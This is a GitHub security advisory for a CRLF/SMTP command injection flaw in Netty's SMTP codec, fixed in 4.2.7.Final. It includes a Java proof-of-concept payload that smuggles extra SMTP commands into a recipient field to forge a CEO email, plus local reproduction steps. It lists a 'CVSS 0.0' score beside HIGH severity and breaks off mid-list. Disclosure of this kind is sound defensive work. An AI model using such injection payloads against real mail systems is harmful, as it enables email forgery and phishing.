GitHub Security Advisory: GHSA-jq43-27x9-3v86
Package: io.netty:netty-codec-smtp (MAVEN)
Severity: HIGH (CVSS 0.0)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')
Vulnerable versions: >= 4.2.0.Alpha1, < 4.2.7.Final
Patched in: 4.2.7.Final

Summary: Netty has SMTP Command Injection Vulnerability that Allows Email Forgery

Details:
### Summary
An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications.

### Details
The root cause is the lack of input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters.

The vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command.

Because the injected commands are sent from the server's trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim's email client.

### PoC
A minimal PoC involves passing a crafted string containing CRLF sequences to any `SmtpRequest` that accepts user-controlled parameters.

**1. Malicious Payload**

The core of the exploit is the payload, where new SMTP commands are injected into a parameter.

```java
// The legitimate recipient is followed by an injected email sequence
String injected_recipient = "legit-recipient@example.com\r\n" +
                          "MAIL FROM:<ceo@trusted-domain.com>\r\n" +
                          "RCPT TO:<victim@anywhere.com>\r\n" +
                          "DATA\r\n" +
                          "From: ceo@trusted-domain.com\r\n" +
                          "To: victim@anywhere.com\r\n" +
                          "Subject: Urgent: Phishing Email\r\n" +
                          "\r\n" +
                          "This is a forged email that will pass authentication checks.\r\n" +
                          ".\r\n" +
                          "QUIT\r\n";
```

**2. Triggering the Vulnerability**

The vulnerability is triggered when this payload is used to create an SMTP request.

```java
// The Netty SMTP codec will fail to sanitize this input
SmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient);

// When this request is sent to an SMTP server, the injected commands
// will be executed, sending a forged email.
channel.writeAndFlush(maliciousRequest);
```

**3. Full Reproduction Steps**

A complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server

*   **Full PoC Code:** https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c

To run the full PoC:

1.  **Set up a local SMTP server.** The easiest way is using MailHog:
    *   On macOS: `brew install mailhog && mailhog`
    *   Using Docker: `docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog`
2.  **Run the PoC code.** The code will connect to the SMTP server at `localhost:1025` and send the malicious payload.
3.  *